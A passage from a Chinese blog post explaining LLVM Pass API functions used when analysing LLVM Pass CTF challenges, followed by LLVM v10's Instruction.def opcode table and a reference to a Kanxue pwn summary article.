  3. getOpcodeName()函数用于获取指令的操作符的名称,

  4. getNumOperands()用于获取指令的操作数的个数,

  5. getOpcode()函数用于获取指令的操作符编号,在/usr/include/llvm-xx/llvm/IR/Instruction.def

    文件中有对应表,56号对应着Call这个操作符:

  6. getCalledFunction()函数用于获取被调用的函数名称,即当在一个A函数中调用了B函数,在LLVM IR中,A会通过Call操作符调用BgetCalledFunction()函数就是用于获取此处B函数的名称

  7. getOperand(i)是用于获取第i个操作数(在这里就是获取所调用函数的第i个参数),getArgOperand()函数与其用法类似,但只能获取参数,getZExtValue()get Zero Extended Value,也就是将获取的操作数转为无符号扩展整数

  8. 最内层for循环中的instIter->getNumOperands()-1,这里需要-1是因为对于callinvoke操作符,操作数的数量是实际参数的个数+1(因为将被调用函数本身也当成了操作数)

  9. if (isa<ConstantInt>(call_inst->getOperand(i)))这行语句是通过isa判断当前获取到的操作数是不是立即数(ConstantInt

  10. static RegisterPass<Hello> X("Hello", "Hello World Pass");中的第一个参数就是注册的PASS名称

  11. getTerminator()是取基本块中末尾的指令

  12. llvm::isa<llvm::Constant,llvm::Value *>(&Operand) & 1判断操作数operand是否为常数。

  13. llvm::isa<llvm::Argument,llvm::Value *>(&Operand) & 1判断操作数operand是否为函数参数。

  14. 自定义函数,类似这种anonymous namespace基本都是出题人自定义的函数,这种是没有去除符号显示出来的。

image-20230831091823396

附录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
//v10 版本
//===-- llvm/Instruction.def - File that describes Instructions -*- C++ -*-===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
//
// This file contains descriptions of the various LLVM instructions. This is
// used as a central place for enumerating the different instructions and
// should eventually be the place to put comments about the instructions.
//
//===----------------------------------------------------------------------===//

// NOTE: NO INCLUDE GUARD DESIRED!

// Provide definitions of macros so that users of this file do not have to
// define everything to use it...
//
#ifndef FIRST_TERM_INST
#define FIRST_TERM_INST(num)
#endif
#ifndef HANDLE_TERM_INST
#ifndef HANDLE_INST
#define HANDLE_TERM_INST(num, opcode, Class)
#else
#define HANDLE_TERM_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_TERM_INST
#define LAST_TERM_INST(num)
#endif

#ifndef FIRST_UNARY_INST
#define FIRST_UNARY_INST(num)
#endif
#ifndef HANDLE_UNARY_INST
#ifndef HANDLE_INST
#define HANDLE_UNARY_INST(num, opcode, instclass)
#else
#define HANDLE_UNARY_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_UNARY_INST
#define LAST_UNARY_INST(num)
#endif

#ifndef FIRST_BINARY_INST
#define FIRST_BINARY_INST(num)
#endif
#ifndef HANDLE_BINARY_INST
#ifndef HANDLE_INST
#define HANDLE_BINARY_INST(num, opcode, instclass)
#else
#define HANDLE_BINARY_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_BINARY_INST
#define LAST_BINARY_INST(num)
#endif

#ifndef FIRST_MEMORY_INST
#define FIRST_MEMORY_INST(num)
#endif
#ifndef HANDLE_MEMORY_INST
#ifndef HANDLE_INST
#define HANDLE_MEMORY_INST(num, opcode, Class)
#else
#define HANDLE_MEMORY_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_MEMORY_INST
#define LAST_MEMORY_INST(num)
#endif

#ifndef FIRST_CAST_INST
#define FIRST_CAST_INST(num)
#endif
#ifndef HANDLE_CAST_INST
#ifndef HANDLE_INST
#define HANDLE_CAST_INST(num, opcode, Class)
#else
#define HANDLE_CAST_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_CAST_INST
#define LAST_CAST_INST(num)
#endif

#ifndef FIRST_FUNCLETPAD_INST
#define FIRST_FUNCLETPAD_INST(num)
#endif
#ifndef HANDLE_FUNCLETPAD_INST
#ifndef HANDLE_INST
#define HANDLE_FUNCLETPAD_INST(num, opcode, Class)
#else
#define HANDLE_FUNCLETPAD_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_FUNCLETPAD_INST
#define LAST_FUNCLETPAD_INST(num)
#endif

#ifndef FIRST_OTHER_INST
#define FIRST_OTHER_INST(num)
#endif
#ifndef HANDLE_OTHER_INST
#ifndef HANDLE_INST
#define HANDLE_OTHER_INST(num, opcode, Class)
#else
#define HANDLE_OTHER_INST(num, opcode, Class) HANDLE_INST(num, opcode, Class)
#endif
#endif
#ifndef LAST_OTHER_INST
#define LAST_OTHER_INST(num)
#endif

#ifndef HANDLE_USER_INST
#define HANDLE_USER_INST(num, opc, Class) HANDLE_OTHER_INST(num, opc, Class)
#endif

// Terminator Instructions - These instructions are used to terminate a basic
// block of the program. Every basic block must end with one of these
// instructions for it to be a well formed basic block.
//
FIRST_TERM_INST ( 1)
HANDLE_TERM_INST ( 1, Ret , ReturnInst)
HANDLE_TERM_INST ( 2, Br , BranchInst)
HANDLE_TERM_INST ( 3, Switch , SwitchInst)
HANDLE_TERM_INST ( 4, IndirectBr , IndirectBrInst)
HANDLE_TERM_INST ( 5, Invoke , InvokeInst)
HANDLE_TERM_INST ( 6, Resume , ResumeInst)
HANDLE_TERM_INST ( 7, Unreachable , UnreachableInst)
HANDLE_TERM_INST ( 8, CleanupRet , CleanupReturnInst)
HANDLE_TERM_INST ( 9, CatchRet , CatchReturnInst)
HANDLE_TERM_INST (10, CatchSwitch , CatchSwitchInst)
HANDLE_TERM_INST (11, CallBr , CallBrInst) // A call-site terminator
LAST_TERM_INST (11)

// Standard unary operators...
FIRST_UNARY_INST(12)
HANDLE_UNARY_INST(12, FNeg , UnaryOperator)
LAST_UNARY_INST(12)

// Standard binary operators...
FIRST_BINARY_INST(13)
HANDLE_BINARY_INST(13, Add , BinaryOperator)
HANDLE_BINARY_INST(14, FAdd , BinaryOperator)
HANDLE_BINARY_INST(15, Sub , BinaryOperator)
HANDLE_BINARY_INST(16, FSub , BinaryOperator)
HANDLE_BINARY_INST(17, Mul , BinaryOperator)
HANDLE_BINARY_INST(18, FMul , BinaryOperator)
HANDLE_BINARY_INST(19, UDiv , BinaryOperator)
HANDLE_BINARY_INST(20, SDiv , BinaryOperator)
HANDLE_BINARY_INST(21, FDiv , BinaryOperator)
HANDLE_BINARY_INST(22, URem , BinaryOperator)
HANDLE_BINARY_INST(23, SRem , BinaryOperator)
HANDLE_BINARY_INST(24, FRem , BinaryOperator)

// Logical operators (integer operands)
HANDLE_BINARY_INST(25, Shl , BinaryOperator) // Shift left (logical)
HANDLE_BINARY_INST(26, LShr , BinaryOperator) // Shift right (logical)
HANDLE_BINARY_INST(27, AShr , BinaryOperator) // Shift right (arithmetic)
HANDLE_BINARY_INST(28, And , BinaryOperator)
HANDLE_BINARY_INST(29, Or , BinaryOperator)
HANDLE_BINARY_INST(30, Xor , BinaryOperator)
LAST_BINARY_INST(30)

// Memory operators...
FIRST_MEMORY_INST(31)
HANDLE_MEMORY_INST(31, Alloca, AllocaInst) // Stack management
HANDLE_MEMORY_INST(32, Load , LoadInst ) // Memory manipulation instrs
HANDLE_MEMORY_INST(33, Store , StoreInst )
HANDLE_MEMORY_INST(34, GetElementPtr, GetElementPtrInst)
HANDLE_MEMORY_INST(35, Fence , FenceInst )
HANDLE_MEMORY_INST(36, AtomicCmpXchg , AtomicCmpXchgInst )
HANDLE_MEMORY_INST(37, AtomicRMW , AtomicRMWInst )
LAST_MEMORY_INST(37)

// Cast operators ...
// NOTE: The order matters here because CastInst::isEliminableCastPair
// NOTE: (see Instructions.cpp) encodes a table based on this ordering.
FIRST_CAST_INST(38)
HANDLE_CAST_INST(38, Trunc , TruncInst ) // Truncate integers
HANDLE_CAST_INST(39, ZExt , ZExtInst ) // Zero extend integers
HANDLE_CAST_INST(40, SExt , SExtInst ) // Sign extend integers
HANDLE_CAST_INST(41, FPToUI , FPToUIInst ) // floating point -> UInt
HANDLE_CAST_INST(42, FPToSI , FPToSIInst ) // floating point -> SInt
HANDLE_CAST_INST(43, UIToFP , UIToFPInst ) // UInt -> floating point
HANDLE_CAST_INST(44, SIToFP , SIToFPInst ) // SInt -> floating point
HANDLE_CAST_INST(45, FPTrunc , FPTruncInst ) // Truncate floating point
HANDLE_CAST_INST(46, FPExt , FPExtInst ) // Extend floating point
HANDLE_CAST_INST(47, PtrToInt, PtrToIntInst) // Pointer -> Integer
HANDLE_CAST_INST(48, IntToPtr, IntToPtrInst) // Integer -> Pointer
HANDLE_CAST_INST(49, BitCast , BitCastInst ) // Type cast
HANDLE_CAST_INST(50, AddrSpaceCast, AddrSpaceCastInst) // addrspace cast
LAST_CAST_INST(50)

FIRST_FUNCLETPAD_INST(51)
HANDLE_FUNCLETPAD_INST(51, CleanupPad, CleanupPadInst)
HANDLE_FUNCLETPAD_INST(52, CatchPad , CatchPadInst)
LAST_FUNCLETPAD_INST(52)

// Other operators...
FIRST_OTHER_INST(53)
HANDLE_OTHER_INST(53, ICmp , ICmpInst ) // Integer comparison instruction
HANDLE_OTHER_INST(54, FCmp , FCmpInst ) // Floating point comparison instr.
HANDLE_OTHER_INST(55, PHI , PHINode ) // PHI node instruction
HANDLE_OTHER_INST(56, Call , CallInst ) // Call a function
HANDLE_OTHER_INST(57, Select , SelectInst ) // select instruction
HANDLE_USER_INST (58, UserOp1, Instruction) // May be used internally in a pass
HANDLE_USER_INST (59, UserOp2, Instruction) // Internal to passes only
HANDLE_OTHER_INST(60, VAArg , VAArgInst ) // vaarg instruction
HANDLE_OTHER_INST(61, ExtractElement, ExtractElementInst)// extract from vector
HANDLE_OTHER_INST(62, InsertElement, InsertElementInst) // insert into vector
HANDLE_OTHER_INST(63, ShuffleVector, ShuffleVectorInst) // shuffle two vectors.
HANDLE_OTHER_INST(64, ExtractValue, ExtractValueInst)// extract from aggregate
HANDLE_OTHER_INST(65, InsertValue, InsertValueInst) // insert into aggregate
HANDLE_OTHER_INST(66, LandingPad, LandingPadInst) // Landing pad instruction.
HANDLE_OTHER_INST(67, Freeze, FreezeInst) // Freeze instruction.
LAST_OTHER_INST(67)

#undef FIRST_TERM_INST
#undef HANDLE_TERM_INST
#undef LAST_TERM_INST

#undef FIRST_UNARY_INST
#undef HANDLE_UNARY_INST
#undef LAST_UNARY_INST

#undef FIRST_BINARY_INST
#undef HANDLE_BINARY_INST
#undef LAST_BINARY_INST

#undef FIRST_MEMORY_INST
#undef HANDLE_MEMORY_INST
#undef LAST_MEMORY_INST

#undef FIRST_CAST_INST
#undef HANDLE_CAST_INST
#undef LAST_CAST_INST

#undef FIRST_FUNCLETPAD_INST
#undef HANDLE_FUNCLETPAD_INST
#undef LAST_FUNCLETPAD_INST

#undef FIRST_OTHER_INST
#undef HANDLE_OTHER_INST
#undef LAST_OTHER_INST

#undef HANDLE_USER_INST

#ifdef HANDLE_INST
#undef HANDLE_INST
#endif

参考:

[原创] LLVM PASS PWN 总结-Pwn-看雪-安全社区|安全招聘|kanxue.com